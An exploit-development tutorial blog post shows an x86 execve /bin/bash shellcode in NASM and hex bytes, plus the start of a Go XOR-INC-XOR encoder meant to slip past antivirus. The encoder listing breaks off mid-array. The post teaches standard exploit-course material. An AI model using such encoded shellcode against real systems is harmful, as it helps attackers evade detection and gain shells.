[ExpDev] Custom Shellcode Encoder

4 min readApr 22, 2021

What is Encoder?

In computer systems, an encoder can be used for various purposes. For example, Base64 encodes binary data into an ASCII characters which are known to pretty much every computer system. Or one may use an encoder to mangle their own code to potentially bypass a security product such as AV. Today, I will demonstrate a simple custom encoding scheme for a x86 shellcode.

Encoding Scheme

The simple encoding scheme we will use is XOR-INC-XOR:

  • XOR by 0x05
  • Increment by 1
  • XOR by 0x11

Original Shellcode

We can use the following /bin/bash shellcode as an original shellcode and apply our custom encoding to it later.

; bash.nasmglobal _startsection .text_start:	xor eax, eax		; Preparing Nulls in EAX register
push eax ; Pushing the first Null DWORD

; [Reverse order of ////bin/bash]
; String length : 12
; hsab : 68736162
; /nib : 2f6e6962
; //// : 2f2f2f2f

push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f

mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp

; syscall()
mov al, 0xb
int 0x80

Using the compilerX86.py, we can retrieve the following shellcode from the bash.nasm file.

[+] ASM code: 0x31,0xc0,0x50,0x68,0x62,0x61,0x73,0x68,0x68,0x62,0x69,0x6e,0x2f,0x68,0x2f,0x2f,0x2f,0x2f,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80


As per our encoding scheme, we can encode the retrieved original shellcode by using the following Go script, encoder.go.

package mainimport "fmt"func main() {	// Hard-coded original shellcode
shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x62, 0x61, 0x73, 0x68, 0x68, 0x62, 0x69, 0x6e, 0x2f, 0x68, 0x2f, 0x2f, 0x2f, 0x2f, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b

OSWE | OSCE | OSCP | CREST | Lead Offensive Security Engineer — All about Penetration Test, Red Team, Cloud Security, Web Application Security